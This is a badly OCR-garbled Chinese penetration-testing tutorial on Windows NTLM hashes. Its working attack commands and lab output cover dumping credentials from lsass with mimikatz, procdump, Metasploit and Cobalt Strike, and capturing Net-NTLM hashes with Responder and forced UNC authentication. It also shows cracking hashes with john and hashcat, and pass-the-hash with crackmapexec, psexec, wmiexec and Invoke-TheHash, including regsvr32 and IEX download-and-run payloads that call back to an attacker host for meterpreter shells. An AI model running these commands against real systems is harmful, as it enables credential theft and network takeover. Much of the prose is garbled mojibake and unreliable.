157835 Z NTML-Hash

—. TAIR Windows HASH F8f SMB XM E RN <,

EHY SMB hiXTEMLE EEHEANXO< ., EXREI”LAN Manager Challenge/Response” JiE
&, B LM, EXULERNERESHWBRE., HMEIRLE T WindowsNT bk / Mg hz36IiE
M, FRZA NTLM, MEEZLRE TEFR NTLMv2 AR Kerberos IRIFARZR, Windows Al
BREMNBEBOL, HENFRZR hash (FX: 5F) , Windows FIRSEES hash BRIANER T—
RRETRER D AR E—ED 2 LM-hash, 292 NTLM-hash,

NTLM-Hash 5 LM-Hash &iA#8tE, BAXOSKNEER, BIIARTE NTLM-Hash #JHR
AR LIMANY, MERK, RMET, MIK—IKEE NTLM-Hash 1952 E 5, A
MAR—NBEEL, ITRIEAEHEDM, NTLM-Hash SR8 225 LM-Hash —#&{FAN., X
BlXE& NTLM-Hash ;28BS thELETZEH, HREBEERSELEM., B0 NTLM-Hash
[, B%FA LM-Hash M5 RS HREAXOLIHWA/NE REURRA, BFIA NTLM-
Hash fE1E HRIGIAX OLHA/NEHURIRA

LM HASH

SEHE . Vista LABIAY Windows OS {§HE, Vista ZEHARAZVIAZAT LM Y, {BFELE
S TRIAE AT IMMERH



#h3E:

EWindows Vista% *D gwindows Server 2008% D/(ﬁﬁﬁ"]z%éﬁﬂi%{iﬁﬁ LM hasho LM hash E’\]EEEY,H?%
AXEANE, B Vista #1 2008 Fi4, Windows BUE LM hash, BRLETHHSHEEIEES
Bl & #& T M hash:nt hash. , A DAY LM Hash 3 O(LM hash sl LA R EE{E), Bl

00000000000000000000000000000000:NT hashé

NTLM HASH

.................................................................

HKER 32 fil, MUTSTRAR., CHNSE e , BNEADL, HEEEFRK,
AEERIMEEETE.

(Security Account Manager Database, T 2 K S E B R E &E ) ., SAM X 4 1 K 2
nEEE%SystemRoot%\system32\config\samgQ Ei&?ﬁ'$i‘|ﬂi}\iﬁﬁ’\]ﬂﬁj§¢, %ﬁﬁ)ﬂﬁ%ﬁj, %i;"ﬁﬂ%ﬁﬁ)ﬁ
HMARIBAXZEIEINER NTLM Hash, 5 SAM #3EFEFAI NTLM Hash #1TLEE, MMIZHEIIA
ik,

Note: IR, 7EIHIFET, DC (Domain Controller, 15i%H23) B FAEXEEUE

NTLM 2—FRKZINEHIY, 5 NTLM Hash B9x ZRFEE: NTLM WEIAEHIXE A NTLM
Hash {fERRAEIEBHTIANERITINY . EARKIANENEIEF, HI fMESAFMARNZIEERR
NTLM Hash 5 SAM Hfg NTLM Hash #1TEEE,

o~ . oy e, L e, N e, el R - - e < s o



AHBINIETRAZ

winlogon.exe -> ZWKWAFHA -> lsass.exe -> (GAIE)

B/, AFPEH. BR. tiRERGE, BERLRIL winlogon ERERAHE, BMERAE, &
BEANG, BEBRY Isass #iz, XTHBERZF—PIAXER, HAXEBMER NTLM

Hash, Xttt SAM EIEERAY hash #1TIEIE,

e Windows Logon Process(Bll winlogon.exe), & Windows NT FBF % ftfes, BTE
BRPERTEY.

e LSASS AT HER Windows RANZ N ., ERTFAhZEFER K.
FERZH, hash 18R E2ELUXHER:

ssooking:1001:AAD3B435B51404EEAAD3B435B51404EE : AFC44EE7351D61D00698796DAO6GBLEBF : : :
Administrator:500:AAD3B435B51404EEAAD3B435B51404EE : 32ED87BDBSFDCSE9CBA88547376818D4: : :

NTLM-Hash B94 B

FEMRPN TN HIAIAETU0  74657374313233

HARAY Unicode 8T 7400650073007400310032003300

X F RF 8 7400650073007400310032003300; M T XN HH K X E MD4 mmZE, ER A




icoazs/b/eJdoe/Ucdcasbbblacasoral

*:
MD4 fn#e]{ER T A HashCalc, W TE

IBM i%1TH) LM Hash EEFE/LTER, FEERSREFREENERIEL T B Sk kbR

LM Hash E3EFRR, BORTEERM 0 #E 14 F5

ASCI| 12554 5% Unicode 18, FiEREEMIM 0x?? THE 0x00?7, LEZESR/E ASCI 1%
little—endian FF&#AL Unicode &, MEBREMMEREEIFT Z2ERM 0x00,

X3 ETIREXAY Unicode SB#1THn A MD4 BEEle s, TICHIEREEZLVFET, MD4 BE~4
128-bit WA FHE,

= ><

16 F T 1310032003300340035003600 — ¥t 1T #n /& MD4 B o B F -

. 32ED87BDB5FDCSEICBAB8547376818D4 |,

MASE T & EH9 NTLM Hash: | 32Ep87BDBSFDC5E9CBA88547376818D4 |

WIS, MRS RFI AR ABBE RIERE, RE—TRBAEN,

gpedit.msc — AMA R RIEE — ITEVEE - windows %8 - £2IRE - KPR
& — BB RS

&3 A Adminstrator NTML Hash J9fll, BAXXZ353 | toor |



Administrator:500:AAD3B435B51404EEAAD3B435B51404EE : AFC44EE7351D61D00698796DAQ6B1EBF: : :

NTLM ¥

(Challenge/Response) jHERXIIEX FINIENGI, BRAFIEANEMHIET sz52056iA

ET NTML XRS5 i ALl

NTML WAIAIER BRI / & (Challenge/Response) R #HTHIER R, BEERWINE
AY:challenge/Response {EFBHTIILE, MMILIEARF 5, NTML MBINESER R P 2557

hash EFRER, RGBS LERIRM I L ERAN SIESTEN, NHSHSAAL, X
WITHE, P EBRAEMESKEER, N2 S Challenge BEVEAZIIER
AT, SEAEHTBNSIIEL, BERSNRSM.

BERE SRR S (credential) , BIFEEHR. A&, AFEBIBM hash &

ps: HREEZENEREETER, TERFFHHEA.

NTLM BRNEIRED A= thE. Fig. Wik:
o WE: EERTHHIARGMINRA

e FEIHl: FFEa / W2 (Challenae/Recnnnce) A== HFHIWEZIA



DA D AL S A A e

o INE: WIFHMEEY, BEH Server iz iEiEHIZETAIX T IITE

NTML E"JiAiIEEEtﬁj\y‘j Interactive (REI) *D %Noninteractive (FEXER) .

FEAEE  REXRHLEEE, BENAGREENER, DEPEEREAESHE.

FREARE AESERISMEE, EIFLAT, HOSSTEBETEPS. BBOAR

B5, BLUOBIESPE LEA et v ®OEMEBE R EE RS4RI SR, KLk

ERTRETIRENINE, BIFRENNINNAIRESNEREREEPRNAFAIERS
—ORFV[IFIR , XENBREF (SSO) WA, BIAFRFEER—IXENFRIFAEHE
BEEENNARARAZRR.

net use x: \\17.10.0.10\$share /u:administrator password

THRANGAN LR —ATENNES, SPHTENNRENRBEAT IEEANITE
M. FINEERF, TEEMESHNEEXFET, THREARNINSZZX LE2AZERT —T5S,
BEABFITENLESZEEEZEN, RE—THENARNEENS, THEARSZSNTER
XEMKIBR sxis B9, Eib, EILFEAIMETHTHEINE (UFK Client # Server, FfilfE

BN AITEN, ZRINMELANTF WORKGROUP TEHIFMET.,

BE—TELERRANITENES, B—TEPNTENBET ftrns=rEann BIEEX

R, BTEZAEENMAEEE bc (domain controller, Hinss) 1B, BARY, BN
BREEEEEHIZE, BAREHTEREERN], RO UAEERRENE MRS 2809758)4X
R, EXMINEARRFH R =75 Client, Server, DC ,

AR £ Windows EIIME TP R=AMTABNAMES S H, BIEFIREREIHEARSHRH
REVIER T, XA ET Kerberos WX AIMLEIAENLH], NTML A3 125 IAET



2. WHIFBABIESE E81EZ Kerberos

TEHEMNMEDNTB-TELFANMGEAET, EFT NTML HMIXEINZIANEN S TIER
E. UZERNAH,

TEAIFE NTML AMERTE

T{E4B™, ¥ K% Clinet. Server, FIEWT:
e FAFIFRIEFIFITENHGARFZMNEZREER, SWNHITES

EFIRIT BN BBHITIRAELIEHEF R hash, EFTIRMAXEG (RFiE), A
[FRRFR&RIZEIRSEE, KEIMDEKX

o AREZZB[BEM— 16 ETHIBENEL, FRABIE (challenge) 3 FEHLEL (nonce) .aspx), F

¥ challenge KiZBEEF R

o EPFiR(FRAEFNAFRZBINIEEENLL challenge #HTHNER, INEL5R A Response
(MRZ), #A/S%% Username. Challenge. Response  (net-wtMi hash) | RIXZAFRSSER,

o ARZZIMER username M SAM Ik EUIRESFIE R A BH58 hash, {£/1%Z hash 30
2 challenge, H#5EFimitENIINE#ITIER, WREMNERE, NWIGUERKID,

IS NTML SAERTE
FEEE TS TiHEFIESNAR, ML LENIRIBEIXEN:

P 4 R T P I I T N, N £ R S |


https://msdn.microsoft.com/en-us/library/ms721596(v=VS.85
https://ssooking.github.io/yu-shen-tou-zhi-ntml-hash/

L AHICIauUve adullichidodauvull Uty ) M UotSl dLLTOoOTO d UlITIHIL LUINTTIPYULTT dliu
provides a domain name, user name, and password. The client computes a
cryptographic hash .aspx) of the password and discards the actual

password.
2. The client sends the user name to the server (in plaintext .aspx)).

3. The server generates a 16-byte random number, called a challenge or

nonce .aspx), and sends it to the client.

4. The client encrypts this challenge with the hash of the user’s password and

returns the result to the server. This is called the response.

5. The server sends the following three items to the domain controller:
1. User name
2. Challenge sent to the client

3. Response received from the client

6. The domain controller uses the user name to retrieve the hash of the user’s
password from the Security Account Manager database. It uses this

password hash to encrypt the challenge.

7. The domain controller compares the encrypted challenge it computed (in
step 6) to the response computed by the client (in step 4). If they are

identical, authentication is successful.

BT SRREAT T
1. BPBREPHTENARARP SNEBES, SHEFER

A Pl | A gt T MM/ A S ALTHA LS T35 T b oo e T Ar2dA0a T (T =0\ 48


https://msdn.microsoft.com/en-us/library/ms721586(v=VS.85
https://msdn.microsoft.com/en-us/library/ms721603(v=VS.85
https://msdn.microsoft.com/en-us/library/ms721596(v=VS.85

- /=7 Ambl FULAI I AL I HA1n A 227 T 22177 R Tidoll, 7 =XPAHRYEA A A 71170/, i

FRRPRKRIERIRSEE, RKEIMEEK

. RBEBER— 16 FTHRIBENLER, FRAFIE (challenge) 3 fEH1ZL (nonce) .aspx), F
18 challenge B3ZLEE PR

. BEPIREREFINRAFP 2N EEN L challenge #1TINER, MNZRLER S Response
(WKL), #A/S%E Username, Challenge., Response (wet-ntvi hash)  RIZZAIRSESES

. [R%284% Username., Challenge. Response (wet-nmvn hash) | &i%%Z5 DC (Domain
Controller, 1FiZHl28)

. DC 131z #l23 M AD (Account Database, KFEUIEE) FHZFRIZFEAF R, FHIRBAFE
1BEY NTML hash, {£Fi% hash 113 challenge, FHIEXMEMZEFiHITEMINN
BT, WRENEE, NIGUERIN,

1. ZSHBIREN

FERXETIE, EFEERE:

Dkt

B3 XA HIMEY hash TR FEEIE AR

BEHEIA:

QuarksPwDump

Mimikat7


https://msdn.microsoft.com/en-us/library/ms721596(v=VS.85
https://code.google.com/p/quarkspwdump/downloads/detail?name=QuarksPwDump_v0.2b.zip&can=2&q=
https://github.com/gentilkiwi/mimikatz/releases

e ProDump
e Metasploit

e Cobaltstrike

QuarksPwDump

quarkspwdump .exe -dhl

Mimikatz

privilege: :debug
sekurlsa: :logonpasswords

BEHER mimikatz 8%

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full"

HATUA TSRS TEIE, FA dump &R HI% hash R1FH log B4

mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit

ProDump


https://github.com/gentilkiwi/mimikatz/releases
https://technet.microsoft.com/en-us/sysinternals/dd996900.aspx
https://www.offensive-security.com/metasploit-unleashed/Mimikatz/
https://code.google.com/p/quarkspwdump/downloads/detail?name=QuarksPwDump_v0.2b.zip&can=2&q=
https://github.com/gentilkiwi/mimikatz/releases
https://technet.microsoft.com/en-us/sysinternals/dd996900.aspx

procdump.exe -accepteula -ma lsass.exe lsass.dmp

B mimikatz 3 vsass NFEXXHHITIRAE:

mimikatz.exe "sekurlsa::minidump lsass.dmp"

sekurlsa: : logonpasswords

Prodump —1¥#EiE Isass X

powershell IEX (New-Object Net.Web(Client).DownloadString('https://raw.githubusercontent.co
m/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.psl'); "Get-Process 1lsass | 0
ut-Minidump"

Metasploit

B HEIRE systen AR

meterpreter > getuid

meterpreter > getsystem

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > load mimikatz

meterpreter > mimikatz_command -f samdump::hashes

‘metasploit HEMHAYHMEN hash AJ—LEARIR:

meterpreter > run post/windows/gather/hashdump

meterpreter > run post/windows/gather/smart_hashdump


https://www.offensive-security.com/metasploit-unleashed/Mimikatz/

i smart_hashdump : *Ei;%/ﬁ\}g dump E’\] hash Kﬁ:'f%@?j_: /root/.msf4/loot§ E %—F, #Ei§$§i9&—

/E*Eﬁ;tﬁgﬂﬂzm windows UACE o

—LEBEOS B R ENA S R IR IR A <

meterpreter > load mimikatz

meterpreter > wdigest (kerberos)

meterpreter > mimikatz_command -f samdump::hashes

meterpreter > mimikatz_command -f sekurlsa::searchPasswords

meterpreter>load kiwi
meterpreter> creds_wdigest

Cobaltstrike

beacon> getuid
beacon> powershell-import /root/powershell/Get-PassHashes.psl
beacon> powershell Get-PassHashes

BEEY hash, &= administer 1XfR (G5 BAREN— access i — hashdump )

beacon> wdigest //iZEUER
beacon> hashdump

1517 |m|kat2(EfﬁE1‘T$ﬁL— Access — |RUN mimikatz | )

beacon> logonpasswords

HAEZEEFHl—access—hashdump

beacon> powershell 1mport /root/powershell/Invelgh/Invelgh psl



beacon> powershell Llnvoke-lnveign -LonsoLelutput ¥ -riLelutput Y -NbN> Y -mUNS Y -LLMNR T -
HTTP Y -PROXY Y

2. MEERR

BEHITRANBEIFEA, EESEERAENAXGZEEE Net-NTLM Hash, iXz& hash #
TEBEE AT pass-the-nash: Wif7, BRJDAEE R DR S URRENAXEZE, X TEZIRK
BX: Net-nur mAsH HUFRIS5, AIAZE

SRIA:
e Responder

e Metasploit

Responder

 responder | FJBARIEARSS, XMAXRIEKREITIOA, FEWSL

responder -I eth@

gﬁﬁﬂiiﬁ? ﬁ1|‘]WiZ1I§ESI /etc/responder/Responder.confE @EEK{'—F, 9&|‘7HEEPE’\]—J§7FLZ\£
IARSS, MMBIOMERE, HrEstxdElE, -

; Servers to start

SQL = Off

SMB = On
Kerberos = On
FTP = Off
POP = Off
SMTP = Off

IMAP = Off



HTTP = On

HTTPS = On
DNS = On
LDAP = On

Challenge = 1122334455667788

FERIE, SAPHITTRE, NMERFRERSEFNU we BERXTHEINENRSSE:

i HEH, =
OO | T 0.0 ~| k2| s wEn
A0+ B EEREM  HEEEMIEE MAdRdERLEEhEE FTFHEHIE s= ~ 0Ol
- Tindows Fg EI
~ek WAREEY
:E AT 17.10.0.1
=l Bk
= E
Eiéﬁ | I fab: WIN-4UDCULEUTIL
W PiERRER
EEC . 1
o BEF &3 1B%Eihi-
_ Ty B
o
-

RSB HERINVERHE, ENLTESEEETRAEE, RMNBELRNT wEr v

Hash ° responder ,Eﬁ i}\% ll%l,' E I:Ll‘a:\ 'f% ﬁ T:I_: /usr/share/responder/logs —F s hash 'IE, i j{{fli L\/{

: P a7 a S
{HTTP-NTLMv2 | | SMBv2-NTLMv2 : =FHl Bk,




e
File Edit View Search Terminal

[+] Generic Options:
Responder NIC
Responder IP
Challenge set
Don't Respond To Names

] Listening for events...
] Skipping previously captured hash for WIN-4U@CULBU7IL\Administrator
1 Skipping previously captured hash for WIN-4UeCULBU7IL\Administrator
] [NBT-NS] Poisoned answer sent to 17.10.8.11 for name WIN-4UBCULBU7IL (service:
] Exitin J
4 root@®
/usr/share/responder/logs
+ "0 0 T(d X
Analyzer ssion.log Poisoners-Session.log SMBv2-NTLMv2-55P-17.10.0.11.txt
Config-Responder.log Responder-Session.log

J‘,

+
3
+
+

[
[
[:
[.
[

+

° ﬁ%}%?i’ E:regsvr32 N gpowershell %

o HBHY: doc. docx. pdf



o EITRE:

51

regsvr32 /s /u /1://17.10.0.1/@abc hello.dll

powershell -c "Invoke-Item \\17.10.0.1\aa"
powershell -nop -exec bypass -c "Invoke-Item \\17.10.0.1\aa"
Invoke-Item \\192.168.0.1\aa

Get-Content \\192.168.0.1\aa
Start-Process \\192.168.0.1\aa

3. HAth#k15

Eﬁi#%ﬁ{mkredential Dumpingg é;ﬂ, E_[L‘,{’i}}%

dumping—domain-password-hashes

Places of Interest in Stealing NetNTLM Hashes K&i%¥FX fELEZEX NetNTLM B FHMAE

EZE hash 2fF, BAI—RR=ZRBERL hash BAXERS, HEFIA pass-the-hash HARFET
T ERBRIIER T HITIDURIE,

1. %2 Hash

TELHE

THE—LRHELBRENER:


https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/
https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/
https://paper.seebug.org/474/

e https://www.cmd5.com/
e https://crack.sh/get—cracking/
e http://hashcrack.com/index.php

e http://cracker.offensive—security.com/index.php

http://www.objectif-securite.ch/en/ophcrack.php

AN S

HAVBEBTAER (Sohn . hasheat ETH, T hash £, FHREHTAMRKR, STERNS
B9 hash FETTERMINGRARNS, HATRIGEAECEENTHRH, FEFBLIEA SN
A X hash 78,

John

john HTTP-NTLMv2-17.10.0.10.txt

Terminal Help

D HTTP-NTIMv2-17.10.0.10.txt
Using default input encoding: UTF-8

Rules/masks using IS0-8859-1

Loaded 4 password hashes with 4 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status

toor (Administrator)

toor (Administrator)

toor (Administrator)

toor (Administrator)

4g 0:00:00:33 DONE 3/3 (2018-12-04 11:15) 0.1193g/s 164768p/s 654219c/s 654219C/s toor
Use the "--show" option to display all of the cracked passwords reliably

Session completed

‘f



https://www.cmd5.com/
https://crack.sh/get-cracking/
http://hashcrack.com/index.php
http://cracker.offensive-security.com/index.php
http://www.objectif-securite.ch/en/ophcrack.php

masncat

BEE, DENSHE:

LM: 3000

NTLM: 1000
NetNTLMv1: 5500
NetNTLMvZ: 5600

NTLMv1 B985

username: :hostname:LM response:NTLM response:challenge

MERNEIENT:

logl: :WIN-BH7SVRRDGVA: fec9b082080e34bad0d00000000000000000000000000000 : 51acb9f9909fde3c4254
€332f5e302a38429c5490206bc@4 : 8d2dadf5e21e20ee

Hashcat 20T :

hashcat -m 5500 logl::WIN-BH7SVRRDGVA:fec9b082080e34bad0000000000000000000000000000000:51ac
b9f9909f0e3c4254c332f5e302a38429c5490206bc04 : 8d2dadf5e21e20ee /tmp/password.list -o found.t
xt --force

TE, 1€/ Hashcat 3i% Net-NTLM hash #1782, NTLMv2 B9&=XH:

username: :domain:challenge:HMAC-MD5:blob

BEE—IEME, EETBSERET, ATBBERERS, —RENKIMFIL v

nash | R EIEIMRL AN ERE, SMER TRNBEERAEMRARBERTHEESE,




2.Pass-The-Hash

[E /2R EBENTEIK, ASCERBRIER FRBIMEN—T AR, BEFHHABERIAEZIR
XE, HERBEART NTLM Hash NIERT, BHREZIBREGEEBED(F RHX LN HREH
1THEmSIE,

ﬁﬁﬁ Pass-The-Hash TA:

e Crackmapexec
e Mimikatz

e smbmap

e smbexec

e metasploit

e cobaltstrike

Crackmapexec
1. &% crackmapexec

apt-get install crackmapexec
(pip install crackmapexec)

2. {€H crackmapexec

cme smb -h


https://github.com/byt3bl33d3r/CrackMapExec

ERERNG<S:

cme smb 17.10.0.10/24
cme smb 17.10.0.10 -u administrator -H hash.txt
cme smb 17.10.0.100-200 -u administrator -H AFC44EE7351D61D00698796DA06GB1EBF

MATER:

cme smb 17.10.0.10 -u administrator -p toor(BAXZf2) -x whoami
cme smb 17.10.0.10 -u administrator -H afc44ee7351d61d00698796dadbblebf -x whoami

Hith

W

3

--shares AL ZF 5T R

--sessions R =I5

--disks #ICF A

--sam #dump B i A 5 R HISAMIS 75 18

--loggedon-users #EERHBF

--users [USER] I (WRIEE THF RERES)
--groups [GROUP] #ICF I (U RIEE THE R R 515D
--local-groups [GROUP] #LIFFEE T LM 2 AL H 3 #5512
--local-groups [GROUP] AR AU, WRIET TH, MKEERER
-x COMMAND HRITIEE RIS

-X PS_COMMAND #HITIEEHIPowerShel 13 <

-L, --list-modules #3I 1 BT FEAG IR IR I BEAE R
--options HEEREEI

-M MODULE, --module MODULE HEFHIRINBEIR IR
-0 MODULE_OPTION [MODULE_OPTION ...] #RE&LRIEDT

GETSHELL

FAEEINEEER, A1 A {EM getshell, AT UER cme smo -1 S EEFRHE



/usr/local/lib/python2.7/dist-packages/crackmapexec-4.0.1.dev@-py2.7.egg/cme/modules

HARIRMHA met inject py | EIRAIEE AT FEMIT eterproter stager |, BASERE THEHR
BENSH:

$ cme smb -M met_inject --options
[*] met_inject module options:

LHOST IP hosting the handler
LPORT Handler port

PAYLOAD Payload to inject: reverse_http or reverse_https (default:reverse_https)
PROCID Process ID to inject into (default: current powershell process)

5275  http _JZ i https M58 shell, ﬁﬂ]fﬁﬁﬁ%ﬁ%ﬁ’\]éreverse_httPSE , RS gﬂ’] LHOST

cme smb 17.10.0.10-150 -u administrator -H AFC44EE7351D61D00698796DAQ6BLEBF -M met_inject -
o LHOST=17.10.0.1 LPORT=9999

MLHNERRIBIT pass-the-hash HLERE (17.10.0.10-17.10.0.150 WERAIEM, FHEEMIT
meterpreter By https 3% shell,

%%iﬂlﬂiﬁﬂﬁﬁﬁﬂl‘ﬂ@, JoiER met_inject.py HEIRIEE getshell, FHEMHARRA., FEtiREE
@I < AT getlshell, FIJA metasploit BY: EIR:

use exploit/multi/script/web_delivery

set payload windows/x64/meterpreter/reverse_tcp
set LHOST 17.10.0.1

set LPORT 9999

set target 3

run

[*] Exploit running as background job 0.

Fk™l CLhavmdl A vAarrmamen TD LawmAdAT A A 17 100 0 1 - O000



SLUl Ll 1 Cvel oC Tulh T L i vit 4Ll ALV . V.l .JIJIJJ

[*] Using URL: http://0.0.0.0:8080/1KZkey

[*] Local IP: http://10.204.146.152:8080/1KZkey

[*] Server started.

[*] Run the following command on the target machine:

regsvr32 /s /n /u /i:http://17.10.0.1:8080/1KZkey.sct scrobj.dll

1B1d pass—the-hash H1Tap<#tE getshell

cme smb 17.10.0.10-15 -u administrator -H AFC44EE7351D61D00698796DAQ6BLEBF -x "regsvr32 /s
/n /u /i:http://17.10.0.1:8080/1KZkey.sct scrobj.dll"

d rch Terminal
Local IP: http://10.204.146.152:8080/1KZkey
Server started.
Run the following command on the target machine:
regsvr32 /s /n :http://17.10.0.1:8080/1KZkey.sct scrobj.dll
) = [*] 17.10.0.10 web_delivery - Handling .sct Request
web_delivery - Handling .sct Request
web_delivery - Delivering Payload
17.10.0.10 web_delivery - Delivering Payload
Sending stage (206403 bytes) to 17.10.6.11
Meterpreter session 1 opened (17.10.0.1 9 -> 17.10.0.11:49160) at 2018-12-03 19: 12 +0800
Sending stage (206403 bytes) to 17.10.0.10
Meterpreter session 2 opened (17.10.0.1: 9 -> 17.10.0.10:49175) at 2018-12-03 19:56:12 +0800

exploit( ) > sessions -i

Information Connection

meterpreter x64/windows WIN-4UQCULBU7IL\Administrator @ WIN-4UOCULBU7IL 17.10.0.1:9999 -> 17.10.0.11:49160 (17.10.0.11)
meterpreter » /windows ssooking-PC\Administrator @ SSOOKING-PC 17.18.0:1:9¢ -> 17.10.0.10:49175 (17.10.0.10)

K>

smb 17.10.0.10-15 -u administrator -H AFC44EE7351D61D006987 AB6B1EBF -x "
S scrobj.dll”
17.10.0.10 445 SSO0KING-PC [#] Windows 7 Ultimate 7601 Service Pack 1 x64 (name:SSO0KING-PC) (domain:SSOOKING
(signing:False) (SMBv1:True)

B 17.10.06.11 445 WIN-4UOCULBU7IL [*] Windows Server 08 R2 Standard 7601 Service Pack 1 x64 (name:WIN-4UOCULBU7IL

(domain:WIN-4UQCULBU7IL) (signi L
17.10.0.10 S [+
17.10.0.11 4 [+
17.10.0.10 5 C [+
11 [+

SSOOKING- ministrator AFC44EE7351D61D00698796DAB6B1EBF (Pwn3d!)
WIN-4UBCULBU7IL\administrator AFC44EE7351D61D00698796DAG6B1EBF (Pwn3d!)
Executed command

Executed command

|
|
1
I

Metasploit

search gpsexec , smbloginé



https://www.offensive-security.com/metasploit-unleashed/psexec-pass-hash/

use exploit/windows/smb/psexec

set payload windows/meterpreter/bind_tcp

set RHOST 17.10.0.10

set smbuser administrator

set smbpass AAD3B435B514Q4EEAAD3B435B514Q4EE : AFC44EE7351D61D00698796DAOGBIEBF
exploit

use exploit/windows/smb/psexec_psh
set payload windows/meterpreter/bind_tcp
set RHOST 17.10.0.10

set smbuser administrator
set smbpass AAD3B435B514Q4EEAAD3B435B514Q4EE : AFC44EE7351D61D00698796DAQ6B1EBF

2541

e

rch Terminal Help

e vd .17 ev

1829 exploits - 1037 auxiliary - 318 post

541 payloads - 44 encoders - 10 nops

Free Metasploit Pro trial: http://r-7.co/trymsp

]
]
]
]

¥*] Starting persistent handler(s)...
msf > use exploit/windows/smb/psexec_psh
msf exploit( ) > set payload windows/meterpreter/bind tcp
payload => windows/meterpreter/bind_tcp
msf exploit( ) > set RHOST 17.10.0.10
RHOST => 17.10.0.160
wmst exploit( ) > set smbuser administrator
mbuser => administrator
\msT exploit( ) > set smbpass AAD3B4 51404EEAAD3B435B51404EE:AFC44EE7351D61D00698796DA06GBLEBF
,smbpass => AAD3B435B51404EEAAD3B43 1404EE:AFC44EE7351D61D00698796DA0O6B1EBF
msf exploit( ) = run
] 17.10.0. - Executing the payload...
+]+17.10.0.10 5 - Service start timed out, OK if running a command or non-service executable...
¥*] Started bind TCP handler against 17.10.0.10:4444
*] Sending stage (179779 bytes) to 17.10.0.10
*] Meterpreter session 1 opened (17.10.0.1:40979 -> 17.10.0.10:4444) at 2018-12-03 21:26:03 +0800

meterpreter > Jj

Mimikatz

H-1MHY hach


https://github.com/gentilkiwi/mimikatz/releases

o WGITIVTIAN T IR 8

mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords""

%%l hash Zf&:

sekurlsa::pth /user:Administrator /domain:ssooking-pc /ntlm:AFC44EE7351D61D00698796DAQ6B1EB
F

wmiexec.py

exe hRATH H#i%

MRZ—RN T ERRZBEEMAHERIXIZIZE windows EHHITEMAEEE.

AR ERLZ AN ZSMRSEE TSR —AERED, EMRBIRIEH ABRSM A BRI KA
RSB EFRGEEPATIRRRIE, E2ENEF, ERRER(]R UNEREARMIREFRE Bl
& LROMEE. RS, IIMXRFEREE—RIEEE, wni E—EEBITARNEITIEREE)
ft, ILBEERERS.

ReERRZTAIE, ERIFANEXENEMM:

wmiexec HI3EBEH312 7R Main advantage here is it runs under the user (has to be Admin)
account”, ZEIFFMIXEBAFPREIA, wmiexec B hash SEAETNN  wvaasu:nraasn |, H
F1% Hash 3B F Server 2008, RZIEIAANZHF LM hash, FTA LM hash AILLRENEE
(ER

wmiexec.py -hashes 00000000000000000000000000000000 : AFC44EE7351D61D00698796DAG6BLEBF ssooki

I A (PP A T TP =1 T JEEE I o WY o W N o W | PR PR 1 |


https://github.com/maaaaz/impacket-examples-windows
https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py

HnyLyg—pL/uuditiitoLiuiluvrcis . Lv.v. LU wrHiouin

L N
File Edit View Search Terminal Help
4 roo -hashes Q000000AEEEOEAOOAEEABOACEABOABO0 : AFCA4E

E7351D61D00698796DA0GB1EBF ssookinging-pc/administrator@l?.10.0.10 “dir"
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

[#] SMBv2.1 dialect used

[-] Decoding error detected, consider running chcp.com at the target,

map the result with https://docs.python.org/2.4/1ib/standard-encodings.html
and then execute wmiexec.py again with -codec and the corresponding codec
T C GelGiGOBKEN

6% 08D0-D379

2009/07/14 11:7 <DIR> PerflLogs
2018/12/02 - 12 <DIR=> Program Files
2018/12/02 g [ <DIR> Program Files (x86)
2018/12/02 5 <DIR> test
2018/12/03 12: <DIR=> Users
2018/12/04 : IR Windows
0 €0
il 71,934,550,016 GEBGEE

[T Y A Y T Y VR I Y T Y f T . o T B A


https://github.com/Kevin-Robertson/Invoke-TheHash

IILLpSI/ / QILIIUU.UUIII/ M\CVIIT—NOPCI LoVUIl/ NIVORC— | TICT1dol |
Invoke-WMIExec

Invoke-WMIExec -Target 17.10.0.10 -Domain test.local -Username testl -Hash AFC44EE7351D61DQ
0698796DA06B1EBF -Command "calc.exe" -verbose

Invoke-SMBExec

BB RENLIZRSATES, PTUNIRY system

Invoke-SMBExec -Target 192.168.0.2 -Domain ssookinging-pc -Username testl -Hash 7ECFFFF@C35
48187607A14BADOF88BB1 -Command "calc.exe" -verbose

Invoke-SMBClient:
¥ # SMB1, SMB2 (2.1), and SMB signing
WMRRE SMB XHHEZMMNR, KRB IZENITINR, A AERZEIZA

XEFNINEEEEIIFERR. EEXMH. TEXMH. MFXHE (BENREURT1ZO< hash BIX
BR)

Invoke-SMBExec -Target 192.168.0.102 -Domain workgroup -Username administrator -Hash @3bebb
338e70244589ea67c7439c77ba -Command "notepad.exe" -verbose

PTH-EXEC

kali FEHREREE) pth BT R, pth-winexe MEEF—1, BHESHEMHN:

pth-winexe -U workgroup/administrator%AAD3B435B51404EEAAD3B435B51404EE : AFC44EE7351D61D00698
796DAQ6B1EBF //17.10.0.10 cmd.exe

pth-winexe -U administrator%AAD3B435B51404EEAAD3B435B51404EE : AFC44EE7351D61D00698796DA06B1E


https://github.com/Kevin-Robertson/Invoke-TheHash
https://github.com/Kevin-Robertson/Invoke-TheHash/

BF //17.10.0.11 cmd.exe

ch  Terminal Help
-U workgroup/administrator%AAD3B435B51404EEAAD3B435B51
404EE: AFC E7351D61D00698796DAGGBIEBF //17.10.0.10 cmd.exe
E_md4hash wrapper called.
HASH PASS: Substituti user supplied NTLM HASH. ..
Microsoft Windows 6.1.7601]
BGOEBBEE (c) 2000 Mic

C:\Windows\system32>whoami
whoami
ssooking-pc\administrator

C:\Windows\system32>]]

EEWEHE, DEHHBERANT:
MBS, scf F desktop.ini, EERMERIN UNC &R
WMFASHREE, BINECEFHAIEMMZE L 139 F 445 ix O

. PIIHIRLNE
. HEXH
. BIIHS

. ET—OXHBERE, ELEORER. desktop.ini. link, url %



e pass the hash with RDP
o FEVGE
msf> run post/windows/gather/credentials/gpp

SEBER

e Microsoft NTLM

e http://www.cnblogs.com/xwdreamer/archive/2012/08/23/2652541.html
e https://www.freebuf.com/articles/database/70395.html

